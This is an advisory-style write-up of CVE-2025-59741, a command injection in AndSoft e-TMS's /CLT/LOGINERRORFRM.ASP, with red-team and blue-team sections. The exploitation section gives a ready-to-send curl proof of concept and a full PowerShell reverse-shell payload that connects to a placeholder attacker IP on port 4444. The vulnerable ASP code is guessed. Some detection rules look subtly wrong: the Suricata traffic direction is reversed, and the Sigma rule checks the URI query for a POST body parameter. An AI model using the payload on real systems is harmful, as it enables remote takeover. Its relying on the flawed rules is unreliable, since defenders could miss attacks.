CVE-2025-59741

Executive Summary

CVE-2025-59741 is a critical operating system command injection vulnerability identified in AndSoft's e-TMS application, version v25.03. The flaw resides in the /CLT/LOGINERRORFRM.ASP endpoint, specifically within the m parameter of a POST request. An unauthenticated attacker can exploit this by injecting arbitrary OS commands, leading to full server compromise. No patch is currently available, and the vulnerability has a public proof-of-concept (PoC) status. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the severity remains high due to the potential for remote code execution.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a custom ASP application vulnerability. No supply chain implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability type (OS command injection, unauthenticated, remote), a realistic CVSS v3.1 vector would be:

• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly dangerous for any exposed instance.

Deep Dive & Mechanics

The vulnerability is an operating system command injection in the m parameter of the /CLT/LOGINERRORFRM.ASP endpoint. The application likely passes user-supplied input from the m parameter directly to a system command without proper sanitization or escaping. For example, the ASP code might execute something like:

Dim cmd
cmd = "ping " & Request.Form("m")
Shell(cmd)

An attacker can inject command separators (e.g., ;, |, &&) to execute arbitrary commands. The m parameter is intended for error messages or similar data, but it is not validated.

Root Cause: Lack of input validation and use of unsafe system calls (e.g., Shell, WScript.Shell) with user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual ASP):

<%
Dim m
m = Request.Form("m")
Dim shellCmd
shellCmd = "cmd.exe /c echo " & m
Dim wshShell
Set wshShell = CreateObject("WScript.Shell")
wshShell.Run shellCmd, 0, False
%>

Patched Code (Conceptual):

<%
Dim m
m = Request.Form("m")
' Validate input: allow only alphanumeric and specific safe characters
If Not IsValidInput(m) Then
    Response.Write "Invalid input"
    Response.End
End If
' Use parameterized approach or avoid system calls entirely
' Example: log to file instead of executing command
Call LogError(m)
%>

No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running AndSoft e-TMS v25.03 with /CLT/LOGINERRORFRM.ASP accessible.
• No authentication required.

Exploit Steps:

1. Send a POST request to /CLT/LOGINERRORFRM.ASP with the m parameter containing a command injection payload.
2. Example payload: ; whoami ;
3. The server executes the injected command and returns output (if reflected) or performs actions silently.

Proof-of-Concept (PoC) using cURL:

curl -X POST http://target/CLT/LOGINERRORFRM.ASP -d "m=; whoami ;"

Advanced Payload (Reverse Shell):

curl -X POST http://target/CLT/LOGINERRORFRM.ASP -d "m=; powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\" ;"

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /CLT/LOGINERRORFRM.ASP for unusual m parameter values (e.g., containing shell metacharacters like ;, |, &, `).
2. Check server logs for unexpected process creation (e.g., cmd.exe, powershell.exe) spawned by the IIS worker process.
3. Use network monitoring to detect outbound connections from the web server to unknown IPs (potential reverse shells).

Response:

• Immediately isolate the affected server.
• Block the /CLT/LOGINERRORFRM.ASP endpoint at the WAF or reverse proxy.
• Conduct forensic analysis to determine if exploitation occurred.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /CLT/LOGINERRORFRM.ASP with m parameter containing shell metacharacters.
• Outbound connections from the web server to uncommon IPs/ports (e.g., 4444, 1337).

File IOCs:

• Unexpected files in C:\Windows\Temp or C:\inetpub\wwwroot (e.g., .exe, .ps1).
• Modified ASP files in the e-TMS directory.

Process IOCs:

• cmd.exe or powershell.exe spawned by w3wp.exe (IIS worker process).
• Unusual child processes of w3wp.exe.

Log IOCs:

• IIS logs showing POST /CLT/LOGINERRORFRM.ASP with long m parameter values.
• Windows Event ID 4688 (Process Creation) showing cmd.exe or powershell.exe with suspicious arguments.

Detection Engineering

YARA Rule

rule CVE_2025_59741_AndSoft_eTMS_CommandInjection {
    meta:
        description = "Detects command injection attempts against AndSoft e-TMS CVE-2025-59741"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59741"
    strings:
        $asp_endpoint = "/CLT/LOGINERRORFRM.ASP" nocase
        $cmd_inject1 = /[;&|`]/  // Shell metacharacters
        $cmd_inject2 = /cmd\.exe|powershell|wscript/i
    condition:
        $asp_endpoint and any of ($cmd_inject*)
}

Sigma Rule

title: AndSoft e-TMS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /CLT/LOGINERRORFRM.ASP with command injection patterns
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-59741
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/CLT/LOGINERRORFRM.ASP'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in error messages (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59741 AndSoft e-TMS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/CLT/LOGINERRORFRM.ASP"; http_uri; content:"m="; http_client_body; pcre:"/(?:[;&|`]|cmd\.exe|powershell)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. WAF Rule: Block POST requests to /CLT/LOGINERRORFRM.ASP with m parameter containing shell metacharacters.
2. Input Validation: Implement server-side validation to allow only alphanumeric characters and safe punctuation.
3. Disable Endpoint: If not required, remove or disable the /CLT/LOGINERRORFRM.ASP page.

Long-Term Fix:

• Apply a vendor patch when available.
• Rewrite the vulnerable ASP page to avoid system calls with user input. Use safe APIs (e.g., LogError function) instead of Shell.
• Conduct a full security audit of the e-TMS application.

Workaround:

• Use a reverse proxy to restrict access to the endpoint to trusted IPs only.

Valters IT